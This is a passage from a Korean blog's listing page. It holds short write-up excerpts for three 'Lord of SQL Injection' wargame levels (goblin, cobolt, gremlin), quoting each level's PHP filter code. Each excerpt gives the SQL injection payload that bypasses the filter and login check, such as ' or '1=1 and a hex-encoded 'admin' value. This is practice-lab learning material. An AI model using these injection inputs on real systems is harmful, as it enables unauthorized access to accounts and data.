반응형 분류 전체보기151 load of sqlinjection goblin 싱글쿼터 더블쿼터 등등이 막혀있다. 따라서 문자열을 주입하는 것은 힘들어보인다. if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); if(preg_match('/\'|\"|\`/i', $_GET[no])) exit("No Quotes ~_~"); $query = "select id from prob_goblin where id='guest' and no={$_GET[no]}"; if($result['id'] == 'admin') solve("goblin"); 중요한것은 get으로 받는 곳이 no이고 id가 guest로 잡혀 있지만 solve 조건이 id가 admin이어야 한다는 것.따라서 no=123 || id=0x61646d696e .. 2016. 9. 6. load of sql injection cobolt 비밀번호를 md5 해슁하여 sql injection을 대비하는 구문이다. if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); $query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')"; 파라미터 값으로 id='을 주어 id''으로 거짓을 만들고 || id='admin' %23을 하게 되면 뒤에 값이 참이 되고 그 이후 문장은 주석 처리가 되게 된다 . #는 뒤에 오는 것들을 전부 주석으로 처리 하기 떄문에 md5 해슁 구.. 2016. 9. 6. load of sql injection gremlin 이 문제는 sql injection에 대한 기본적인 것을 묻는 문제 if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database! if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 필터 구문에서 싱글쿼터(') 또는 or 등을 필터링 하지 않기 때문에파라 미터 구문으로 id='or'1=1&pw='or'1=1 구분을 주입하여 문제를 클리어 가능! 2016. 9. 6. 이전 1 ··· 35 36 37 38 다음